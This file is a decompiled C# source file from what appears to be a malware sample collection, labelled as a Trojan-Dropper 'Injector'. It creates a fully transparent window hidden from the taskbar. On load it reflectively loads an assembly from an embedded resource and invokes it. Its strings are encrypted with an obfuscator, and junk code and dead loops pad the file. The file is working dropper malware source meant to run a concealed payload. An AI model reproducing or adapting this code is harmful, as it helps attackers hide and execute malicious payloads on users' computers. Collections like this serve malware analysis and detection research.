MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b/Form1.cs

295 lines
11 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: _2012_D.Form1
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace _2012_D
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
[AccessedThroughProperty("Button1")]
private Button _Button1;
[AccessedThroughProperty("CheckBox1")]
private CheckBox _CheckBox1;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("RadioButton1")]
private RadioButton _RadioButton1;
[AccessedThroughProperty("PictureBox1")]
private PictureBox _PictureBox1;
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.InitializeComponent();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
label_2:
int num = 3;
Point point1;
Size size1;
while (true)
{
switch (num)
{
case 0:
this.CheckBox1.AutoSize = true;
CheckBox checkBox1_1 = this.CheckBox1;
point1 = new Point(25, 61);
Point point2 = point1;
checkBox1_1.Location = point2;
this.CheckBox1.Name = \u003CCliSecureRT\u003E.cs("rËü\u0013<3wW~");
CheckBox checkBox1_2 = this.CheckBox1;
size1 = new Size(81, 17);
Size size2 = size1;
checkBox1_2.Size = size2;
this.CheckBox1.TabIndex = 1;
this.CheckBox1.Text = \u003CCliSecureRT\u003E.cs("rËü\u0013<3wW~");
this.CheckBox1.UseVisualStyleBackColor = true;
this.Label1.AutoSize = true;
Label label1_1 = this.Label1;
point1 = new Point(25, 88);
Point point3 = point1;
label1_1.Location = point3;
this.Label1.Name = \u003CCliSecureRT\u003E.cs("}Âû\u0015;@");
Label label1_2 = this.Label1;
size1 = new Size(39, 13);
Size size3 = size1;
label1_2.Size = size3;
this.Label1.TabIndex = 2;
this.Label1.Text = \u003CCliSecureRT\u003E.cs("}Âû\u0015;@");
num = 2;
continue;
case 1:
goto label_7;
case 2:
do
{
this.RadioButton1.AutoSize = true;
RadioButton radioButton1_1 = this.RadioButton1;
point1 = new Point(28, 113);
Point point4 = point1;
radioButton1_1.Location = point4;
this.RadioButton1.Name = \u003CCliSecureRT\u003E.cs("cÂý\u001983m[;ÚØA");
RadioButton radioButton1_2 = this.RadioButton1;
size1 = new Size(90, 17);
Size size4 = size1;
radioButton1_2.Size = size4;
this.RadioButton1.TabIndex = 3;
this.RadioButton1.TabStop = true;
this.RadioButton1.Text = \u003CCliSecureRT\u003E.cs("cÂý\u001983m[;ÚØA");
this.RadioButton1.UseVisualStyleBackColor = true;
PictureBox pictureBox1_1 = this.PictureBox1;
point1 = new Point(113, 46);
Point point5 = point1;
pictureBox1_1.Location = point5;
this.PictureBox1.Name = \u003CCliSecureRT\u003E.cs("aÊú\u0004\"\u0003}m Í\u0087");
PictureBox pictureBox1_2 = this.PictureBox1;
size1 = new Size(30, 50);
Size size5 = size1;
pictureBox1_2.Size = size5;
this.PictureBox1.TabIndex = 4;
this.PictureBox1.TabStop = false;
}
while (false);
num = 1;
continue;
case 3:
this.Button1 = new Button();
this.CheckBox1 = new CheckBox();
this.Label1 = new Label();
this.RadioButton1 = new RadioButton();
this.PictureBox1 = new PictureBox();
((ISupportInitialize) this.PictureBox1).BeginInit();
this.SuspendLayout();
Button button1_1 = this.Button1;
point1 = new Point(25, 22);
Point point6 = point1;
button1_1.Location = point6;
this.Button1.Name = \u003CCliSecureRT\u003E.cs("sÖí\u00048\u001F)");
Button button1_2 = this.Button1;
size1 = new Size(75, 23);
Size size6 = size1;
button1_2.Size = size6;
this.Button1.TabIndex = 0;
this.Button1.Text = \u003CCliSecureRT\u003E.cs("sÖí\u00048\u001F)");
this.Button1.UseVisualStyleBackColor = true;
num = 0;
continue;
default:
goto label_2;
}
}
label_7:
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(155, 138);
this.ClientSize = size1;
this.Controls.Add((Control) this.PictureBox1);
this.Controls.Add((Control) this.RadioButton1);
this.Controls.Add((Control) this.Label1);
this.Controls.Add((Control) this.CheckBox1);
this.Controls.Add((Control) this.Button1);
this.Name = \u003CCliSecureRT\u003E.cs("wÌë\u001Df");
this.Opacity = 0.0;
this.ShowIcon = false;
this.ShowInTaskbar = false;
((ISupportInitialize) this.PictureBox1).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual Button Button1
{
get => this._Button1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
}
internal virtual CheckBox CheckBox1
{
get => this._CheckBox1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
}
internal virtual Label Label1
{
get => this._Label1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
}
internal virtual RadioButton RadioButton1
{
get => this._RadioButton1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._RadioButton1 = value;
}
internal virtual PictureBox PictureBox1
{
get => this._PictureBox1;
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
}
private object HIyl7gY2uAFg65()
{
double num = 822.0;
bool flag = false;
try
{
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
while (true)
{
flag = true;
num = 15.0;
}
}
return (object) 75254250;
}
private void Form1_Load(object sender, EventArgs e) => this.pleple();
public void VGUe8wq3d2B199unLsG4hS()
{
bool flag1 = true;
string str = \u003CCliSecureRT\u003E.cs("\u0012ïð4'GLp\u000FÍ\u0080*⁌\u0004!\u200C\u0019,\u0017 J‼Ç※ʰ\u0090\u20FB\u00B2mƼ⁐(\u0014\u008Bn\u008EÜÉA⁼Jb\u00AD\u008AÿIw=Ö%");
double num1 = 41.0;
bool flag2 = false;
try
{
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
flag2 = false;
flag2 = false;
\u003CCliSecureRT\u003E.cs("t\u0092à\u0002j\u000Ex\u0014(\u0095à$?T7\u202BH_d¡y\u0003ÉT\u0010rÛ⃪ƉÜMw\u0011!Ü)\u0087\u0085Ö\vrlP|®\u008EM\u001B\u0092õ3\u000EǓ\u0098-K¬[ÔJ\f'\u0005\u0091ÖS\u000FwÔ\n!V\u0014Ê\u008CÙB\u2066\u0005ããåuFƥ\u00BD\u0083ÉãçS\u001Bn⁞\u0095§×v\u0005Ä\u009F7₰ñs®§á\u200BÆ\u009Fi\u2083à*oCd\u000E\u206EØäK;*TyF}\u0011d`ư\u0091‿\u0011K⃝¨\u0088\viķ%\u0012ü‾\u0081Äù“⁼pO\u0088Ò¡'\u2078\u0082\u00067h¯ₕM|\u0081\u0010\u00B2\vMtw\u00B9Ñ\f\u001E\u2028\u008Bw\u0017\tIȢÓ»tKő\u0096ǜé\u009C%˱\u008C\u00B3");
double num2 = 31228811.0;
str = \u003CCliSecureRT\u003E.cs("]Ö Gb\u0006}Nx\u008CôG\u001F]Q%\u0019\\\u0016¯\u0019tþv\u0011QÏ\u009B\u0080\u0019\u001D~{\u001FýQ¤µ\u0094T\"}A¥Çª$/þºH\u0003Äû\u000Fe\u00BDD\u00BC@L \u0003\u00B3Ë-e@Ò=u\u0012G×òµb\u0080vãñâ):\u000F·¨¿æÔ");
int num3 = 939971;
while (num3 <= 114)
checked { ++num3; }
str = \u003CCliSecureRT\u003E.cs("{õÏBcH{Gzôý@\b=/vfek\u0080fo\u008EvCwµ\u008A\u0096\t\u001E~wdÂVþÅìo\f\u0018s¿\u00B9\u008B.#øè[\u007Fì\u008A\u0018=ÞG\u00BEr\u0011~M\u009B\u00BE\0\u001C(â\u0013ry\u0014\u0097\u0098ß\u0015\u00BDg\u0090ó");
num2 = 6330.0;
while (true)
{
flag1 = false;
num1 = 25.0;
}
}
public void pleple()
{
Assembly assembly = Assembly.Load(_2012_D.My.Resources.Resources.Function_1);
object[] args = new object[0];
assembly.GetType(\u003CCliSecureRT\u003E.cs("wÖ÷^\u0002\u0002qA}\u0085")).InvokeMember(\u003CCliSecureRT\u003E.cs("\\Âð\u001E"), BindingFlags.InvokeMethod, (Binder) null, (object) null, args);
}
private object wMm71r()
{
label_2:
int num1 = 3;
while (true)
{
switch (num1)
{
case 0:
int num2 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("XîøK⁍:PS\u001AÔÊ\u0002\u00040ǶRʼncXÎSlç\u0019\u0010xÈñÑ\u0016w\u001C\u000F\u001EǍ5\u009FÞé\u001D\tAa´Þ·\u0017/Êₒ}ªₛê⁅‗Û\u206BÃ@-jÅÄW\u00155ₗ\u206AÃ\u200B'\u009DÒË₍\u20F3\u0001\u200Dâ{LD¯¡₯\u008A/¢\t~7\u206B\u0085ÊDPĕý9ð\u0013y\u009D\u009CµhₚÝ\t\u200FÔT9ČRv6Ýñ\u001C"));
num1 = 2;
continue;
case 1:
\u003CCliSecureRT\u003E.cs("\u0002ßéB\u000E!op9Úü\u0013\u0012\u000Eô@\0z\u001B\u008EBeÀVL\aÂ\u0090¦\u0016\t)\u0014fé\\\u00B2Ú5G\u0005[»\u008EC'À\u0081Ç>\\ǓÊ8pÏã\u20C1eFw\u0016\u00B3î\u0011\u0003t\u009A *\v\u001Fµë\u009C_õőæÁõSOt ®þ©Í\u0013\u20F7+0¯Ü\u0081/ⁿ¦ß\u20C8ü5>~\u0099Ñ\u007F¤\u0094\u0014È\u2087\u0006\u20FBW3\u001A\u007Fúₗ\"!\u0013⁂9RZ\u0097pˤäV\u001B\u00AD¿\u008A¢\u007Fl`.\fÊN£⃛\u0093ReC„\u00BC\u20CB\u008DZļ\u0082ₕi\u001Cîò= ÒBÑ‗\u00021KÓû\u0013\u200E8ù\u001A\u2072\u001A4\u0095ÖË\u0002°{\u2080æ\u008By");
\u003CCliSecureRT\u003E.cs("‗à\u00B9IÚRFa,\u0082ËV\u0015K:m\u00B9\u0090¯¤ŝM÷Y\u206CIȺöd$Z\"*\0\u0087 \u0093\u00B9\u2085\v\u2065l^Õ\u0088\u0095\v*ñ\u00BD2†\u000E\u0081\u0006:ÉD\u00B2sZ\fj⁐Ó_\u007F[É+\u0001FQ\u0091î\u0084\u0010ì\u0010à\u2081\u0086n\u0010Z⃕¬Ûª\u0081Ő\u001F\u0088\u000Fî\u009D⃔s\u0013â\u00896öî\u2068¡¸¦e¬È\u00BE\u0096º!⁉\u0011q\u001C,é9\u0012\u0010\f⁼`qv^\u009Dsaø\u0019%p");
goto case 2;
case 2:
do
{
\u003CCliSecureRT\u003E.cs("\u001Dðċ\\e=Rbtâ\u0085");
}
while (false);
num1 = 1;
continue;
case 3:
num1 = 0;
continue;
default:
goto label_2;
}
}
}
}
}